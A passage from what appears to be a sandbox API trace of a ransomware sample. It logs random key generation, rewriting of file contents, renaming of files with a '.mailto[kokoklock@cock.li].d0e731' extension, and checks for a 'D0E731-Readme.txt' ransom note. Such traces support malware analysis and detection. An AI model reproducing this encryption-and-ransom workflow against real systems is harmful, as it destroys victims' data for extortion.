0x9985edef [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xcc29b85b [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xeaee7a91 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xbbc61969 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xa1ed7414 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x27d26084 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x13f9c5d9 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x37a065b5 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xb653f6a6 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xdfd06cc4 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x3258b511 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xae3d216f [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x925a5fad [0166.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4078 [0166.516] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.516] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40a0 [0166.516] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.516] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.516] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.516] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9a6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9a6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0166.517] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.517] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.518] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.518] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.518] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40c8 [0166.518] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.518] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9a6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9a6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0166.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.519] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13680, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.519] WriteFile (in: hFile=0x528, lpBuffer=0x2fe40c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9a6faf0, lpOverlapped=0x0 | out: lpBuffer=0x2fe40c8*, lpNumberOfBytesWritten=0x9a6faf0*=0x20, lpOverlapped=0x0) returned 1 [0166.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40c8) returned 1 [0166.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.519] WriteFile (in: hFile=0x528, lpBuffer=0x2fe40a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9a6fb04, lpOverlapped=0x0 | out: lpBuffer=0x2fe40a0*, lpNumberOfBytesWritten=0x9a6fb04*=0x8, lpOverlapped=0x0) returned 1 [0166.519] WriteFile (in: hFile=0x528, lpBuffer=0x9a6fb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9a6fb04, lpOverlapped=0x0 | out: lpBuffer=0x9a6fb1c*, lpNumberOfBytesWritten=0x9a6fb04*=0x4, lpOverlapped=0x0) returned 1 [0166.519] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9a6fb04, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9a6fb04*=0x4, lpOverlapped=0x0) returned 1 [0166.519] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9a6fb04, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9a6fb04*=0x6c, lpOverlapped=0x0) returned 1 [0166.519] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9a6fb04, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9a6fb04*=0x20, lpOverlapped=0x0) returned 1 [0166.519] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9a6fb04, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9a6fb04*=0x4, lpOverlapped=0x0) returned 1 [0166.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.520] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4078) returned 1 [0166.520] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40a0) returned 1 [0166.520] CloseHandle (hObject=0x528) returned 1 [0166.520] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.520] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.520] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.520] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.521] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.521] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.521] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1044\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0166.521] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" [0166.521] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\d0e731-readme.txt")) returned 0x20 [0166.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cc30) returned 1 [0166.521] RtlExitUserThread (Status=0x1) Thread: id = 1622 os_tid = 0x4a0 [0166.522] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.523] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.524] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.524] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9aefbd8 | out: lpFileSize=0x9aefbd8*=3738) returned 1 [0166.524] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xe96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.524] ReadFile (in: hFile=0x528, lpBuffer=0x9aefbac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9aefba8, lpOverlapped=0x0 | out: lpBuffer=0x9aefbac*, lpNumberOfBytesRead=0x9aefba8*=0x4, lpOverlapped=0x0) returned 1 [0166.525] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4078 [0166.525] NtQuerySystemTime (in: CurrentTime=0x9aefb84 | out: CurrentTime=0x9aefb84*=132121213238448236) returned 0x0 [0166.525] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x6098a284 [0166.525] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x3fe50119 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x9261fd95 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x2cba3008 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xdcc60cca [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xb673a439 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xe75467e7 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xc60b9f20 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x79c29f97 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x523bd121 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x1545910b [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x1d86bfaa [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xdf7ce91e [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x202da91 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x4d270e43 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x28bacf85 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x1c0776a0 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xeab3b3d6 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x5f131983 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xc4dd4393 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x459fe825 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x27680e70 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x625dd4df [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xd2670716 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x3e6576d8 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x333906cd [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xd21bf9ca [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x1951744b [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x2bb797ec [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xcb1a3d97 [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0x99b6f27d [0166.526] RtlRandom (in: Seed=0x9aefb90 | out: Seed=0x9aefb90) returned 0xc3eb143d [0166.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40a0 [0166.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40c8 [0166.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.537] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xe9a, lpNumberOfBytesRead=0x9aefb84, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9aefb84*=0xe9a, lpOverlapped=0x0) returned 1 [0166.537] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9aefb4c | out: lpNewFilePointer=0x0) returned 1 [0166.537] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xe9a, lpNumberOfBytesWritten=0x9aefb80, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9aefb80*=0xe9a, lpOverlapped=0x0) returned 1 [0166.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40f0 [0166.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.540] WriteFile (in: hFile=0x528, lpBuffer=0x2fe40f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9aefb7c, lpOverlapped=0x0 | out: lpBuffer=0x2fe40f0*, lpNumberOfBytesWritten=0x9aefb7c*=0x20, lpOverlapped=0x0) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40f0) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.541] WriteFile (in: hFile=0x528, lpBuffer=0x2fe40c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9aefba8, lpOverlapped=0x0 | out: lpBuffer=0x2fe40c8*, lpNumberOfBytesWritten=0x9aefba8*=0x8, lpOverlapped=0x0) returned 1 [0166.541] WriteFile (in: hFile=0x528, lpBuffer=0x9aefbc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9aefba8, lpOverlapped=0x0 | out: lpBuffer=0x9aefbc0*, lpNumberOfBytesWritten=0x9aefba8*=0x4, lpOverlapped=0x0) returned 1 [0166.541] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9aefba8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9aefba8*=0x4, lpOverlapped=0x0) returned 1 [0166.541] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9aefba8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9aefba8*=0x6c, lpOverlapped=0x0) returned 1 [0166.541] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9aefba8, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9aefba8*=0x20, lpOverlapped=0x0) returned 1 [0166.541] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9aefba8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9aefba8*=0x4, lpOverlapped=0x0) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40a0) returned 1 [0166.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40c8) returned 1 [0166.542] CloseHandle (hObject=0x528) returned 1 [0166.542] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.542] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.542] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.542] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.542] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.543] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.543] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.543] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1043\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0166.543] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" [0166.543] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\d0e731-readme.txt")) returned 0x20 [0166.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4be0) returned 1 [0166.544] RtlExitUserThread (Status=0x1) Thread: id = 1623 os_tid = 0x4ac [0166.545] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.545] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.545] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9b6fe4c | out: lpFileSize=0x9b6fe4c*=79826) returned 1 [0166.546] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x137ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.546] ReadFile (in: hFile=0x528, lpBuffer=0x9b6fe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9b6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x9b6fe20*, lpNumberOfBytesRead=0x9b6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0166.547] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40a0 [0166.547] NtQuerySystemTime (in: CurrentTime=0x9b6fdf8 | out: CurrentTime=0x9b6fdf8*=132121213238604794) returned 0x0 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x33351fb4 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x1807df36 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x834e0675 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x90d6f6aa [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x9b0d5587 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x68d06ff6 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0xbac3ada3 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x39f9a2b3 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x56b278cc [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0xa195e0e8 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x855e238b [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0xa330b202 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x9ed57d22 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x4727233c [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0xebd1cef0 [0166.547] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x7abeb464 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x9281f252 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x808457a0 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0xa1ce9998 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x9584e35c [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x14415a79 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x23d63923 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x8f60e7e [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0xc0d65ef3 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x9681d6b6 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x9ec0e4b9 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x490e8af7 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x69a7cc77 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x5b0336f6 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0x927bf771 [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: 